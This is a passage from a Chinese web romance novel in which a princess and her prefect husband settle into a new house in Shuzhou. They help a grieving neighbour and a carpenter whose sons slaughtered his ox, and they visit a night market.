元辞章没有多劝，到了晚间，忽然出门半个时辰，回来时端着一碗热腾腾的汤面。
面里放着一把青菜，卧着一个鸡蛋，看着简单，闻起来却香得很。
元辞章：“尝尝咸淡？”
李意清心中又甜又暖，知道这是元辞章亲手所做，轻声道：“你刚上任，正是繁忙的时候，还记挂着我。”
元辞章将面放在桌上，这面是店家揉的，他只负责甩出面丝和烧水煮。煮面的时候，厨子啧啧称奇。
“这还是我第一次见到男人给自己媳妇做饭。好样的，自己媳妇自己疼。”
厨子言辞直白，元辞章脸色变都没变，只安静地将面捞起，淋上几滴葱油。
元辞章夹了一筷子面，微微悬停放凉，喂到李意清的嘴边。
这可真是把饭喂到嘴边。李意清没有拒绝元辞章的好意，顺着张开嘴巴。
一口下去，腹中的馋虫被勾起，李意清主动接过筷子，一口接着一口。
元辞章笑容温和宠溺，等李意清吃完最后一口，才道：“客栈厨子虽然没有读过几年圣贤书，但是有一句言之有理。”
“什么？”李意清放下筷子，用手绢擦着嘴角。
元辞章：“他说，‘自己的娘子，应当自己疼惜’。”
“这真是厨子亲口所说？”李意清回忆了一番这两天和厨子打的交道，满脸的不敢相信，“看不出来啊。”
元辞章：“稍加修饰。”
合理了。
李意清：“这就对了。客栈厨子看起来就不拘小节。”
“嗯，”元辞章看着李意清今晚的第一个笑容，嘴角不自觉微微上扬，伸手拿起碗筷，“我先送下去。”
李意清看着他的动作，打了一个哈欠，点了点头。
等元辞章再回来的时候，她已经坐在床边睡着了。
元辞章熟练的抱起她，放在床榻上，脱下鞋袜，盖上被褥。
*
半个月后，梨花弄堂的宅子，总算收拾干净。
迁出去的那日，客栈老板万分不舍，倚门相送。
李意清却毫不留恋，朝着客栈老板挥了挥手，转身离开。
元辞章休了一日的假，去木坊取回定做的匾额。匾额上，赫然写着“清风居”。
这是李意清提出的，她原先想学着话本谪仙人寻一处山头遗世而独立，而现实不许，只好以房居代名，以求结庐人境心在桃源。
元辞章没有惊动府衙官员，可是兵马都护、团练等人还是得到了消息，纷纷不知道从哪里窜出来，朝着他贺喜。
李意清脸上的笑容一僵，而后对洛石道：“今日没想到会来这么多人，你去街上订一些吃食。”
洛石看不惯脑满肠肥的这些官员，撇嘴道：“殿下
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，就不能通通赶出去吗？”
这清风居是他们一点一点亲手收拾出来的，让这些只会曲意逢迎，搜刮民脂民膏的狗官进来，他只觉得脏了地板。
还想吃饭，就该整点马尿。洛石愤愤不平地想。
李意清看着他气鼓鼓的模样，轻声安抚道：“没事，做做表面功夫罢了。等证据充足，该流放的流放，该下狱的下狱，我许你放鞭炮。”
洛石不情不愿地应了。
前来拜访的官员个个装聋作哑，用过午饭，还赖在院中不肯走。
还是元辞章直接出声送客，才将这些人送出门。
最后一个官员离开的时候，滕夫人牵着滕荇的手出现在门边，语气惊讶，“原来是知州大人。”
“夫人知道是知州，难道就不和我们来往了吗？”
李意清一边说，一边将柜子中的蜜枣糖拿出来送给滕荇，顺道伸手在她毛茸茸的脑袋上摸了一把。
滕夫人道：“怎么会，若是知州夫人不嫌弃，民妇巴不得天天来这儿。”
李意清这几日忙着买家中用物，没怎么和滕夫人交谈，见滕夫人今日仍旧孤身一人，忽然道：“你之前说你夫君五日后便归，怎么今日不见踪影？”
滕夫人眼底带上一抹暗淡，“前几日传信回来，水上遇到了风浪，船在黔州坏了，还需要一些时日。”
想起丈夫，滕夫人心中有些惊慌，今日她总是心神不宁，绣花的时候也会不小心刺破自己的手指，像是预示着什么不好的事情将会发生一样。
她竭力告诉自己只是孕期多思，可是到了夜里，便时光漫长难熬。
滕夫人虽然心中担忧，可是今日是李意清迁居之喜。她按捺了心中的不安，语带笑意恭喜道：“今日你迁居，按照江宁的习俗，送些米面最合适不过。你等我片刻，我回屋去拿。”
滕夫人说完，扶着肚子回了自己院子。
李意清喊来洛石茴香跟着去搭把手，自己坐在树下等人，也是纳凉。
五月午后的微风，已经带上了几分燥热。
等滕夫人和茴香他们回来，李意清忽然影影约约听到了一阵轻微的哭声。
李意清：“有人在哭。”
茴香收起脸上的笑，跟着沉静下来。
她迟疑道：“殿下，是不是你幻听了？”
她什么也没听到啊。
李意清也觉得是自己多想了，现在仔细听来，确实没有动静。
可是下一刻，她又听到了那阵低低的哭声。
断断续续，钻进人的耳中。
洛石斩钉截铁：“有人哭，左边院子。”
滕夫人也听见了，她的心头忽地一紧。
“是刘阿婆。”
正是住在梨花弄堂清风居左边，独居的老婆婆。
滕夫人脸上带着关切的紧张，“是了是了，今日这么大的动静，刘婆婆怀念家人具在的时候，难免悲从中来。”
她一边说着，一边站起身，“我先去看看。”
李意清：“我随你去。”
滕夫人看着李意清脸上的紧张，迟疑了一秒，便重重地点头：“也好。”
107. 新芽与晚暮
门是虚掩着的，伸手一推，老旧的竹门发出吱呀的声音。
比起刚装饰完毕的清风居，这间院子简单到有点简陋。
正屋里面，除了一张破旧的草榻，便只剩下一方冷灶。
草榻旁边，伏着一个掩面轻啜的老婆婆，她发丝斑白，瘦骨嶙峋。
靠得近了，李意清才听到老婆婆口中念叨的话语：“天杀的拐子……啊……”
一滴浑浊的泪珠顺着老婆婆的眼角流淌而下，她的双目早在一日接着一日的悲泣中变得模糊不清。
滕夫人主动伸手扶起老婆婆。“刘阿婆，你先坐起来。”
老婆婆哭到快要昏厥，听到滕夫人的话语，顺着她伸出来的胳膊坐在了草榻上。
滕夫人道：“这是新搬来的意清，婆婆您认个脸。”
滕夫人左顾右盼，见灶台冷冷，主动道：“我先回去拿两个馒头来。意清妹妹，还请你帮忙照看婆婆。”
李意清本想自己出门去拿，可是滕夫人手脚利索，没给她开口的机会。
她只好远远地坐在婆婆的身边，婆婆像是哭累了，安静了下来，默默坐在床边发呆。
透过她那一双浑浊的眼眸，李意清猜不透她心中所想。
时间并不能让人忘记伤痛，只会让人习惯。
滕夫人很快端着一碗热汤和两个馒头过来，放在了婆婆的身边。
“刘阿婆，多少吃一些吧。”
老婆婆看见是滕夫人的面容，忽然小心翼翼地抱着滕夫人的腰身，声音颤抖道：“乖孩子，你还怀着孩子呢，怎么能操劳。”
滕夫人丝毫没有嫌弃老婆婆的意思，轻轻地抱住老婆婆，“过会儿我带荇儿过来玩，阿婆，你先吃饭，吃饱了才有力气。”
老婆婆迟钝地想了想，然后说好。
她年纪大了，牙口不好，滕夫人将馒头掰成碎片，放入鲜香滚烫的羊肉汤中。
老婆婆吃得很慢。
腾夫人这才走到李意清的身边，小声道：“今日宾客多了些，婆婆应激，你千万别放在心上。”
李意清郑重了摇了摇头。
两人走出散发着霉味的内屋，看见门前的一大块空地，忽然想起来毓心买回来的秧苗和菜籽。
她将自己心中的打算讲述给腾夫人听，腾夫人闻言，眸光中带上一抹亮色。
“这个主意好，我闲时也能来帮忙。”
李意清说干就干，端午过后，虽然落雨不如清明充沛，但是在盛夏前吃上一口绿蔬，倒是不难。
往后几日，他们得闲就会赶到刘家阿婆的院子中，开垦出两垄方便种菜的菜畦。
播下豆角籽和葵菜籽后，每一日都能见到不一样的变化，埋在土壤下的种子遇雨生芽，很快长出了一小排整齐的绿尖。
几日后的早晨，李意清侍弄完自家院前的菜苗后，和茴香一道去了隔壁的院子。
她和茴香惊奇的发现，今天的菜畦上湿润，显然已经被人浇过水。
滕夫人最近身体不舒服，应该不是她。
李意清正在心中猜测，忽然看见原先将自己关在屋中不肯动弹的刘阿婆走了出来，她手里捧着一个破口的瓦瓮，颤颤巍巍地接水泼在菜苗上。
天气欲发炎热，需要早晚两趟浇水，这新生的芽尖才不会枯萎。
茴香看到刘阿婆的身影，内心十分激动，伸手扯着李意清的衣袖。
刘阿婆注意到两人停下脚步盯着自己瞧，干瘦的脸庞上没别的反应，继续手上的动作。
连着差不多十天，她对新搬来的一家熟悉起来，虽然还不到主动搭话的地步，但至少不会受惊。
李意清主动上前两步，抬眸朝着刘阿婆笑：“阿婆，早啊。”
刘阿婆可有可无地应了一声。
垂落的水珠沾在芽尖上，在晨光下微微闪烁。
刘阿婆伸手在自家的额间抹了一把，想招呼李意清坐下，回首却看见屋子在侄儿的霍霍下，已经什么都不剩了。
她眼底不可避免染上一层阴霾。
李意清不知道为什么刘阿婆怎么突然低落起来，收到茴香询问的眼神，也只能无助地耸了耸肩。
不过种上菜后，刘阿婆的精神比之前好了太多。
李意清在空空荡荡的院子中转悠了一圈，两套宅院大小相似，可是这边只住着一个刘家阿婆，后院大片的空地，若是收拾出来，说不定也能种上两三垄小菜。
她转悠完，回到清风居。
晨起去陈麻子家取最后一个木柜的洛石失魂落魄的回来，看见李意清，眼眶有些发红。
李意清：“怎么了？”
洛石声音有些哽咽，“我今日去陈师傅家，却没有看见他人，问了旁边的婶子，才知道陈师傅病了。”
“怎么好好一个人，怎么就病了？”茴香有些担心，“你说的详细些。”
洛石握着拳头，语气气愤道：“陈师傅的儿子，背着陈师傅将那头陪了他二十七年的老黄牛宰了，陈师傅一时怒火攻心，病床不起。”
根据旁边的婶子的描述，陈麻子的老牛自他青年的时期就陪在身边，那头老牛年纪大了，已经犁不了地，陈师傅担心得很，那几日连饭都难以下咽。
刚好来了李意清大单，陈麻子心中还在暗自庆幸，说不定能将这老伙伴多留在身边几年。
可是他的三个儿子，趁着陈麻子上山伐木的时候，将老牛宰杀了。
等陈麻子一进门，三个儿子拉着他坐在桌前，桌上放着一小碗香菜拌肉。
陈麻子原先以为这是三个儿子的孝心，在他们的劝说下动了筷子，香菜放得多，陈麻子没尝出是什么肉。
可这时，三个儿子忽然怪笑起来，围着他一个劲儿地追问“好吃吗”。
陈麻子看着三个不以为意、笑得瘆人的儿子，忽然摔下碗筷，走到了后院。
后院里，陪了他一辈子的老伙伴已经被放了血，剥了皮，鲜血模糊地躺在地上。
大儿子道：“爹，你就别想着救这头老牛了，赚的银子不如给我们哥儿几个分分娶媳妇。你老就不想抱孙子啊？”
陈麻子一口气没喘上来，气晕了过去。
洛石言简意赅的讲完，突然想到
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了什么，气愤地补充了一句。
“曾经陈师傅有一日夜里风寒，老牛驮着他走了十几里山路，去了医馆寻大夫给他瞧病，那三个儿子在家中呼呼大睡，连药钱也不愿意给。”
李意清闻言，心中一阵酸涩。
洛石道：“殿下，我们怎么办？陈师傅病了，手中活计耽误，我……”
“晚几日不是什么大事，现在当务之急，是确保陈师傅无事。”李意清沉吟了片刻，“洛石，你去街市上找三个人，三人轮流去问价钱，出价最高者为整头，将老牛买下来。”
洛石迟疑片刻，点了点头，照着李意清的吩咐出去了。
那日陈师傅通完水井，神色就有些怅然，谁知道会遇到这样的事情……
李意清在家也坐不住，忍不住去了拱桥对岸。
她走路慢，等到了的时候，洛石找来的托已经开始和陈家三兄弟讲价。
陈家三兄弟好吃懒做，原先气势很足，被前两人故意贬低这老牛年迈，肉又干又柴后，竟然恼羞成怒。
第三人恰到好处的上前，蹙着眉提出八两钱，买下整头牛，陈家三兄弟面面相觑，同意了这场交易。
李意清混杂在前来看热闹的人群之中，听到陈家兄弟嗤笑的声音。
周边有人看不过眼，“你们三个，年纪最大的已经三十又四，最小的也二十又七，却整日里不思进取，将歪心思打到老黄牛身上。牛这种牲口有灵性，你们可真是造孽啊。”
陈家三兄弟没什么本事，可脾气不小，听到那人的话语，立刻瞪了过去。
“去去去，关你什么事，我家的牛，自然由我们兄弟几个做主。我看你呐，只是气家中没这么一头牛，否则说不定比我们兄弟三个还要狠绝。”
“那老头儿，真是疯魔了不成，家中这么多张嘴，难不成还真想给这头老牛送葬啊。”
陈家大哥的话引来余下两兄弟附和的笑。
那老书生摇着头走远了。
李意清顺着人群离开，转身的刹那，耳畔是兄弟三人抛着钱袋的响动。
陈麻子躺在附近的一处医馆里，自家中老黄牛被杀，已经过去两天。
两天里，他食不下咽，滴水未进，只呆愣愣地看着远方。
李意清走进去后，看到的就是这幅场景。
陈麻子在看着窗前流泪，无声却震耳欲聋。
那是一个行将就木老人最无奈地悲唤。
李意清的脚下像是长了钉子一般，寸步难动。
过了一刻钟，又或者是一个时辰，李意清才收拾好鼻尖酸涩的情绪，走到了陈麻子的身边。
陈麻子动作迟钝地转头，看见是李意清的身影，伸手在眼睛上囫囵摸了两把，将泪痕擦去。
“木柜再给我三日功夫，肯定能做好。”
“我不是来催进度的。”李意清犹豫了片刻，伸手将一撮黄牛毛递给陈麻子。
“牛已经被买下，放在城东芦花湾。至于怎么处理，便全权交给您了。”
陈麻子看着那一撮干黄的牛毛，好不容易止住的泪又重新莹润了眼眶。
108. 羊肉馅饼
他用一双经年累月劳累的手捂住自己的眼睛，那双手指甲缝中已然漆黑，泪水顺着指缝溢出，将原本就深色的皮肤打湿。
许久，陈麻子才冷静下来，他先是朝李意清道谢，而后苦笑一声：“原先接您的活，就是为了给老黄凑钱看病，如今你替我赎回，做工的价钱我一分也不能收下，等柜子修好，我一道给你送去。”
李意清没有追问陈麻子会如何处理老黄牛，听到他的话，她轻轻颔首，“好。”
陈麻子说完话，从医馆的床上起身离开，背影决绝，像是要完成什么要事。
李意清在桥上遇到了漫无目的乱走的洛石，看见李意清身影的刹那，他破天荒地想要避开。
他此刻谁也不想见。
李意清能看懂洛石的躲闪，她的脚步停止在桥的正中央，又深深看了一眼洛石孤寂的背影，一步步退下拱桥。
回去的路上，忽然下了一场大雨。
夏初的天气就是这般不讲道理，晨起时阳光熹微一幅万里无云好天气的模样，过了午后乌云自天际缓缓滚来，一道惊雷过后，瓢泼大雨忽然落下。
雨水哗啦啦，将属于初夏的燥热冲刷，带着沁润的气息，将树叶洗得碧绿，风中带有荷花的气息。
李意清站在屋檐下躲雨，周围的人行色匆匆，毓心举着伞着急得穿过人群，走到她的身边。
“殿下，殿下。下雨了，我们先回去吧。”
毓心动作匆忙，满眼关切。说完，她一只手撑伞另一只手扶着李意清往家的方向走。
随目一瞥，却看见一道熟悉的身影站在拱桥上。
洛石站在雨中，仰面望着天上落下的雨水，雨势极大，不一会儿他浑身湿透。
旁边的人用手挡在头顶行色匆匆，穿过洛石身边的时候忍不住朝他投去怪异的目光。
这人莫不是傻了吧，这么大的雨，也不知道找个屋檐底下避避，反而仰面朝天任雨水打湿自己的脸庞。
毓心不知道今日的前因后果，只是看到今日天色不对，见李意清还没有回来，主动拿了伞来寻。
她只见到旁边人抱头鼠窜，纷纷寻找有屋檐的墙角避雨，洛石孤身一人站在雨中，苍茫彷徨。
她十分不解，小声问李意清道：“殿下，洛石他这是在发什么疯？是今天发生什么大事了吗？”
李意清目光流转，缓缓抬眸，视线落在洛石的身上，声音极轻，仿佛能融化在这细密的雨丝中。
“他在难过。”
毓心抿了一下唇。
“……殿下，可要我去喊他回来？”
“不用。”李意清朝她一笑，笑意疏朗，如似明月入怀。
她的语气轻柔而笃定：“等雨后，他自然就回来了。不必担心。”
毓心见李意清说的认真，不再操心，撑着伞扶李意清先一步回到清风居。
院子里不少废弃瓦罐，罐口朝上，零零稀稀接了不少雨水。
小的瓦瓮装满之后，顺着瓶口溢出。
毓心将油纸伞折叠，放在屋檐下的廊中。李意清则是站在门口，朝着左边院落望去。
入目一片新绿。
隔壁滕夫人家中有一棵芭蕉树。此刻天际乌云低沉，落雨点点。
雨打芭蕉，声音最是解忧。
李意清不再多看，一日奔波，她起了困意。回到寝屋后，就着雨声入梦。
梦醒，雨已经停了，空中弥漫着一股潮湿的气味。
原先空气的沉闷在雨后变得清新，李意清深深呼吸着这洗涤后的空气，伸了一个懒腰。
抬眼朝窗户外看去，水汽在空中凝聚成一道彩虹，破晓的天光熹微，一切碧然如洗。
洛石不知道什么时候已经回来了，浑身湿漉漉的。
他不期然对上李意清从窗外投来的视线，有些心虚地别开了眼。
半晌，洛石整理好情绪，像个没事人一样走了进来。
他手中拎着一个崭新的竹编鸡笼，笑着对李意清说：“殿下，我方才看见有卖小鸡的，我们也养上几只，就有吃不完的鸡蛋了。”
李意清暂时没有说话。
茴香“咦”了一声，摇头忙说不好，她神情严肃认真：“要是养了小鸡，还得打扫笼子，还要割草喂食，味道还大，不养不养。”
洛石耷拉道：“哦……”
洛石眉眼间虽然有些可惜，但是茴香的话还是听进去了。
院中不止他一个人，还有殿下。
光是想想殿下一身尘土穿行鸡窝，他就感觉天都要塌了。
两人已经达成一致意见，也就不在意李意清的看法。
不过到底，李意清还是乐于见到洛石能够及时调整好自己心态的。
她随手拿起放在桌上的折扇，走到了门外。雨虽然停息，但是雨存在的痕迹并没有消失。泥地不平，留下几处水洼，亮晶晶地反射天光。
有鸟雀小小一团，从树枝上飞到水洼边喝水洁毛，叽叽喳喳，热闹极了。
李意清看了一会儿，浅浅地笑：“午后热得不行，这一场‘及时雨’倒是来得巧妙。晚间菜畦也不必补水了，撒些驱虫的药粉就是了。”
今日大雨之前，舒州已经连着晴了十日，随处可见干旱的地面。
田里的稻谷用水量大，不少村庄的小沟渠都已经水源枯竭，再不下雨，地里的庄稼要活生生旱死。
元辞章昨日为此事特意去了一趟镇上。
千亩农田不比家门口两垄菜地，若是天不降水，浇灌起来哪有这么容易。
所以称这场雨为“及时雨”，并没有什么不妥。
李意清看了有一会儿时间，然后才转身，回到后院。
后院厨房的案板上，醒发好的面团被毓心揉成一个个大小相当的团子，撑开铺平后，将调好味的羊肉馅放进入，拉成薄长的饼，放在油锅上煎熟即可。
从前不进厨房，自然不知道这案板上的难处，如今茗禾不在身边，他们只能靠着自己摸索做些吃食。
三人一齐加入了做馅饼的行列。
煎了十几张羊肉馅饼，再炒上两碗蔬菜，今日的晚食就有了着落。
李意清闻着怀中羊肉馅饼的香气，刚端到桌上，就听到了门口的脚步声。
元辞章看见她的举动，又瞧见水缸边洗干净的两篓菜叶，主动接过
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了毓心手中的锅铲。
毓心第一次被主动接过锅铲，还有些恍惚。现在已经习惯了。
她走到李意清的身边，将羊肉馅饼平铺开来，方便散热。
李意清则是看着元辞章一身绯红色的官袍，动作行云流水、举重若轻地放菜炒菜。
想到了什么，李意清忽然忍不住笑了出来，目光粲然。
谪仙下凡洗手做羹汤，要是说出去了，又有几个人愿意相信。
两碗小菜很快就被炒好，端上了餐桌。
许三和茴香挤在灶前一同烧火，出来的时候两人满脸的灰，互相指着对方哈哈大笑后，争先恐后去舀水洗脸。
李意清先喝了半杯温水，然后才拿起馅饼，小口小口地吃起来。
她动作斯文，不慌不忙。等一个饼吃完，桌上已经空空如也。
洛石指着许三：“殿下，最后一个是他拿的。”
许三连忙撇清关系：“殿下，不是我，是茴香要吃叫我拿的。”
茴香：“……”
她默不作声看了许三一眼。
许三心中警觉，立刻改口道：“是我，是我想吃。”
元辞章看着李意清微蹙的眉间，声音温和：“没吃饱？”
李意清从鼻腔中发出一声浅浅的“嗯”。
元辞章朝她伸出手，指骨修长，指甲修剪得整齐干净，泛着微微冷白。
“走，我们去逛逛舒州夜市。”
李意清眼底立刻变亮，一脸的期待。
“可以吗？早就想出门看看了。”
元辞章莞尔：“当然可以。”
他看着李意清一脸向往的神色，将她的手握在自己的掌心。
他的手大，可以轻松的圈起李意清的手。
茴香和许三等人看李意清有些不放心的回头，立刻举手道：“殿下放心，我们能照顾好自己。驸马一番心意，我们就不去打扰了。”
他们揶揄的笑意太过于明显，李意清脸颊忍不住染上一抹飞霞。
“你们啊……”
毓心拿起矮柜上早就备好的凤蝶绕花团扇递给李意清。
“殿下，外面天热，带上扇风或是驱蚊，都可以。”
那把团扇在夜色下散发着银辉，握手下缀着一根流苏，摇动时美轮美奂。
李意清接过了团扇，多看了毓心一眼。
毓心坦坦荡荡，将两人送至门口，见他们往小巷子外走去，回头捂着心口直拍。
“下次驸马再提这样的要求，我可是再也不干了。”
洛石道：“你害怕什么，你都没有掺和我们这边的争辩。”
茴香点头附和，伸手在许三的胳膊上重重一拍。
许三觉得委屈：“明明就是你吃掉了嘛。”
四个人尚且在后怕，浑然不觉背后折而复返的李意清和元辞章。
李意清：“你们故意的？”
怪不得今日捏饼的时候，他们一个劲儿地在旁边道：“够了够了。”
原来等在这儿呢。
茴香和许三放下争执，哑口无言。洛石壮着胆子问：“殿下，驸马，你们怎么又回来了？”
109. 舒州夜市
李意清朝元辞章颔首，元辞章淡淡地扫过几人，虽然没什么情绪，但是接收到他视线的几人都感觉压力山大。
元辞章进了内屋。
李意清道：“他还穿着官袍。出行不便，换身轻便的衣裳。你们刚刚说的是什么意思？”
毓心：“自然是想殿下和驸马有机会一道出门的机会。殿下，你听到了多少？”
李意清：“听到你们在推诿谁吃了最后一个馅饼。你们啊，真是胡来。他每日都那么辛苦……”
几人心中委屈，这可都是元辞章早起吩咐的。尤其是许三和茴香肚子都吃撑了。
毓心看了一眼低着头的众人，主动道：“殿下，我们下次不敢自作主张了。”
“无妨，我下值之后便不是很忙了。你不必责怪他们。”
换好衣裳的元辞章这时也走了出来，一身雪色长袍不染纤尘，暗纹典雅内敛，好一副翩翩公子。
他嗓音低醇温润，春风化雨。
——呸！
许三在心底带头唾弃自家公子。
明明就是他的想法，现在却反而来装好人。
李意清看几人低头交接目光，轻咳了一声，“好啦。这件事就算过去了。若是夜市上有好吃好喝的，我帮你们带一些。”
几人神色这才好看起来，茴香和毓心凑到李意清的身边，笑眯眯地压低声音道：“殿下，你刚才是在心疼驸马哦。”
李意清：“……”
刚刚还一脸伤心，现在一脸贼笑，她真是低估了这几个顺竿往上爬的本事。
李意清选择缄默。
茴香朝毓心眨眼，“殿下这是在害羞呢。”
李意清听不下去，先一步离开了院子。
晚一步的元辞章出来后，看见正在等自己的李意清，自然而然牵起了她柔弱无骨的手。
李意清：“怎么现在才出来？”
元辞章：“没什么。”
他当然不会说自己赔了两坛藏酒给四人，才平息他们的委屈。
许三明明是他的贴身小厮，可是方才却仿佛自打生下来就和李意清是一派，他义正言辞地代表其他三人道：
“幸亏你是驸马，我们才心甘情愿被几坛酒收买，换做旁人，直接押送官府。”
元辞章轻笑，大方的多加了两坛。
许三还在云里雾里的时候，元辞章已经踏着月色离开。
雪色与月光交织，他的声音融化在晚风中。
“这很好。”
*
舒州的夜市自黄昏后起，最晚能到亥时。
沿着拱桥两岸，四通八达，倒处是些吃食玩偶，还有放河灯的摊位，五文钱一盏灯，店家提供纸笔，可写心愿于纸上，随河而下。
年轻的男女乐此不疲，站在河两岸看着河灯摇曳。
树荫下，画像的师傅就着灰暗的烛光，提笔画着画像。
李意清多看了一眼，有一对老夫妻坐在画师的对面，两人都已经年过半百，鬓发斑白，手却紧紧相牵。
旁边围观的人越来越多。
有人道：“这对夫妻每年来树下画像，年轻的时候还不是这一位画师，而是这位画师的爹爹，现在老画师离开了，换小画师接着画。”
听到的人很是惊讶，“两代人，这是画了多少幅了？”
“十七岁算起，迄今也有三十六幅了。老画师在世的时候，六文钱一张画，现在到了小画师这里，涨了四文钱，可是老画师临终之前特意叮嘱，若是这对老夫妻，价格不变。”
一会儿的功夫，画师摊被围得水泄不通。
人生能有多少个三十六年，李意清见看不着了，便安静地走在路上。
元辞章注意到李意清心绪的变化，轻轻用拇指勾了勾李意清的掌心。
李意清被他搅回神，坏心眼地伸手捏他的指骨。
手上幼稚地较劲，脸上却一派云淡风轻。
元辞章道：“夫人想吃什么？”
李意清被他的称呼逗弄得脸颊飞红。
元辞章故作不解，明知故问：“是我哪里说错了吗？”
这人可真越来越坏了。
李意清不敢看元辞章幽潭般的眸光，略显狼狈地移开视线。
“没、没说错。”
元辞章嘴唇翕动还欲说话，便感受到一只手忽然捂在自己的唇上。
李意清的目光在夜市中梭巡，目光锁定在一家买油酥面的店家。
“那个！我想吃油酥面。”
元辞章眸中满是星星点点的笑意。
“好啊。”
两人手牵着手，犹如一对平常的小夫妻，闲逛在夜市之中。
面摊摊主见李意清和元辞章坐下，主动询问道：“几碗？可要配些小菜？加肉丝多一文钱。”
“两碗，能加的都加。”李意清朝着摊主笑，“多谢。”
摊主点头示意自己听到了，水沸下面，瓷碗加料汁，动作行云流水。
元辞章晚食用的一向不多，炒菜和馅饼已经足够，可是李意清已经说了，他自然不会拆她的台。
他起身拎了水壶，翻开两个茶杯，倒了两杯水。
水是最寻常的开水，无色无味，温度适宜，元辞章轻饮。
李意清从摊主的动作上收回视线，托着腮偏头看着元辞章。
元辞章放下手中的水杯，垂眸看见李意清的灼灼目光，用眼神无声询问。
李意清忽然大声道：“摊主，我夫君爱吃酸辣，你多放些花椒和米醋。”
摊主闻言，回头望了一眼，见李意清喊完就低头，笑着回喊道：“好嘞。”
元辞章食有度，喜清淡，重养生。
李意清做了坏事，原还有些心虚，可是转念一想，明明是元辞章故意逗弄在先，立刻挺直腰杆。
她朝元辞章挑眉。
可是元辞章并没有出现想象中的反应。
对上李意清的视线，元辞章声音稳如泰山，“如果一口花椒能换来一声夫君，纵使弃了这满身功名又如何。不如做个浮世野鹤花椒仙。”
昔有酒仙太白醉死当涂，今有花椒仙伯怀椒醋成仙。
李意清被自己的联想逗笑。
论元辞章脸皮之厚，她甘拜下风。
李意清道：“我说不过你。”
元辞章学着她的动作挑眉，散漫的动作中昳丽而又矜贵，“夫人只是没有我喜欢夫人多罢了。”
他的声线明明是慵懒的，可是落在李意清的耳中，却带了几分委屈。
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>李意清被元辞章弄得哑口无言。
摊主将两碗油酥面放在桌上，贴心道：“十足十的花椒，保证一口下去，鲜香爽辣。”
一边说着，一边伸手比出大拇指。
李意清逗弄元辞章的时候痛快，可是看见满是花椒的油酥面时却陷入了沉默。
元辞章神色淡定地接过面，一边动筷一边含笑看着李意清，“我夫人说我喜欢花椒和米醋，我自然不能浪费夫人一片良苦用心。”
李意清多看了他一眼，忍了忍，小声道：“你若是真吃不下，不必勉强自己，稍后我们再去别的摊前看看，买些果子零嘴。”
元辞章未说话便已经带笑，站在一旁实在看不过眼的摊主道：“这郎君就长着一副吃清淡读书人的面容，我还能真放那许多？放心吧，只是看着唬人。”
李意清仍然有几分不相信。
元辞章朝她笑着点头：“摊主所言不假。”
李意清取出一枚勺子，在元辞章面前的碗中轻舀一勺，送入口中，尝过，才信了几分。
“……能吃。”
李意清顶着摊主和元辞章两人的视线，终归还是脸皮薄率先败下阵来。
摊主不归她管，元辞章她总能说上几句了吧。
李意清伸手在元辞章的膝盖上悄无声息的拍了一下，压低声音道：“你还盯着我做什么？快吃快吃，待会儿去看河灯。”
元辞章学着她的模样压低声音，眸中散落着笑：“夫人在意我，我很高兴。”
而后从善如流地拿起筷子，慢条斯理地开始吃面。
李意清：“……”
她在心底暗骂了一句“坏人”，但鼻尖的香气难以抗拒，坚持了不到一息，李意清败下阵来。
她紧随其后，面条劲道，小菜清脆，炖肉酥烂，一口下面，满腹生香。
一碗面下肚，李意清吃了个八成饱。
她伸手揉着自己的肚子，抬眸看着元辞章沾了满身的烟火，走到摊主面前付钱。
哦，不对。那是锅炉里蒸腾出的热气。
李意清吃饱喝足，心情正好，连着方才的一点小插曲也都忘怀。
她牵着元辞章的手穿行在大街小巷，一路上自然不乏像他们一样年轻的男女游玩，不过天热，他们大多前后相伴，很少会像两人这般直白。
李意清没有注意到落在她身上或好奇或探究的视线，目光在各式根雕、泥塑、陶瓷娃娃上移不开眼。
她没有察觉，元辞章自然不会主动推脱。
李意清停在卖根雕的老人的面前，老人手上专注地雕刻着骏马，旁边围着几个人看的小孩。
小孩身上没有银钱，只能用眼睛看过瘾，老人变戏法一样，将一截树根在手中快速削磨，便成了一只胖嘟嘟的兔子。
他摆在了十二生肖的最前端，几个小孩高兴得鼓掌，争吵着去玩那一只圆润可爱的兔子。
双方心照不宣，像是某种约定俗成的习惯，老人削完兔子，依旧安静地完成之前未完成的骏马。
骏马身姿灵动，飒沓如流星。
李意清无端觉得这匹骏马飘逸出尘，灵巧敏捷，主动问老人：“老人家，你手中的骏马多少钱？”
老人看他一眼，摇了摇头，“今日不卖。”
110. 亲缘
今日不卖，那说明过几日还是有可能的。
李意清：“为何今日不成？”
老人平静地回看她，“还未完成。”
他说的太过直白，李意清愣了一刻，瞬时觉得自己刚刚真是问了一个傻问题。
李意清想要说着什么挽回自己的形象，可是一时间无从下手。
元辞章及时站在她的身后，“不知道明日再来，可能等到？”
面对元辞章，老人的态度依旧不冷不热。
“不一定。”
他的根雕，从不为人而留。
李意清小声附耳到元辞章的耳边：“真是个怪人。”
元辞章心道确实。
两人都是出身高门，鲜少遇到这样直言拒绝的情况。
元辞章看着李意清的神色，“那……还要吗？”
“要！”李意清点了点头，“我倒要看看，究竟有多难得到。”
李意清大多时候都是冷艳端庄，温和识礼的。这样负气的孩子话，很是少见。
元辞章：“好。”
李意清拉着元辞章离开，路过一个花灯摊子，买了好几盏。
又看见有卖桃酥豌豆黄的，也买了一些。
这些都是答应回去后要带给茴香他们的，她可不是那言而无信之人。
李意清正在寻找有没有当地的饮子，忽然感受到胳膊被人扶住。
元辞章一只手上拎满大包小包，空闲的那一只手遥遥指向根雕摊主。
根雕摊主放下了手中的骏马，正在和一个青年对视。
剑拔弩张，气氛压抑。
李意清一拍脑门：“啊！那个是根雕对面抄手摊的摊主。这是怎么了？”
难道是因为根雕老人冷淡的态度？
她心中好奇，又记挂着那匹骏马，立刻拍板道：“我们去看看。”
两人逆着人流重新回到根雕摊前。
抄手摊的摊主嗓门大，声音洪亮，“你一天也赚不了几个钱，不如回家在家歇着，这空位留给我摆桌椅。”
老人寸步不让：“歇歇吧，你那抄手摊，还不如我。”
两人门口的生意半斤八两。
李意清站在旁边听了一耳朵，发觉两人认识后，暗自庆幸自己没有多管闲事。
这时，抄手摊主忽然朝着两人看了过来。
元辞章和李意清本就是人中龙凤，相貌出尘，况且两人还不是一开始就站在这里的，自然引起了他的好奇。
抄手摊主：“红油抄手要不要？”
原先态度冷淡的老人忽然道：“一边去，这位姑娘要得的是我手中的骏马根雕。”
说完，用一双期待的目光看向李意清。
前后态度变化过大，李意清反而显得有些手足无措。
抄手摊主：“胡诌吧你，你看人家姑娘都不搭理你。人老了可不能说胡话。”
“……姑娘确确实实看中了这骏马，”老人的声音低了一些，“只是，只是。”
